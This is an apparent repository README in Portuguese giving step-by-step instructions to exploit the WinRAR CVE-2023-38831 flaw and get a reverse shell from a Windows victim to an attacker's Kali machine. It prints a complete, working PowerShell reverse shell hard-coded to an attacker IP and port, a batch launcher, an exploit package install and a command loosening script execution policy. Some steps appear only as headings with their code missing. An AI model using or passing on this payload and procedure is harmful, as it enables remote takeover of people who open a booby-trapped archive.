
Passos necessários para obter uma reverse shell explorando a vulnerabilidade do WinRAR CVE-2023-38831 em versões anteriores a 6.23.
Neste repositório, vamos explorar a vulnerabilidade CVE-2023-38831 do WinRAR de forma a obter uma reverse shell da máquina vítima Windows para a máquina atacante Kali Linux.
Baixamos o conteúdo deste repositório:

A seguir, precisamos instalar as dependências Python necessárias para explorar esta vulnerabilidade com os seguintes comandos:
pip install rarce

Vamos executar um código malicioso que nos forneça uma reverse shell, proveniente do site revshells.com (fornecendo o IP e porta do atacante correspondente):

$LHOST = "192.168.0.36"; $LPORT = 443; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
Este código do PowerShell salvamos em um arquivo .ps1 (será executado posteriormente):

Uma vez obtido o código em ps1 para obter a reverse shell, criamos um arquivo Python que, usando a biblioteca os, se encarregue de executar o arquivo .ps1:

Depois, criamos um .bat com o seguinte código:

rem Ruta al ejecutable de Python
set PYTHON_EXECUTABLE=python.exe
rem Ruta al script de Python que deseas ejecutar
set PYTHON_SCRIPT=pwned.py
rem Ejecutar el script de Python
%PYTHON_EXECUTABLE% %PYTHON_SCRIPT%
rem Pausa para que puedas ver la salida antes de que se cierre la ventana
pause
Neste ponto, devemos criar o WinRAR malicioso:

Executamos o arquivo documento.pdf dentro do .rar:


Por último, se permanecermos em escuta com netcat a partir de uma máquina atacante, teremos recebido a reverse shell:

Caso não seja possível executar comandos do PowerShell, é necessário habilitar a execução de scripts em nosso sistema:


Nós habilitamos:

E executamos o seguinte comando:
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser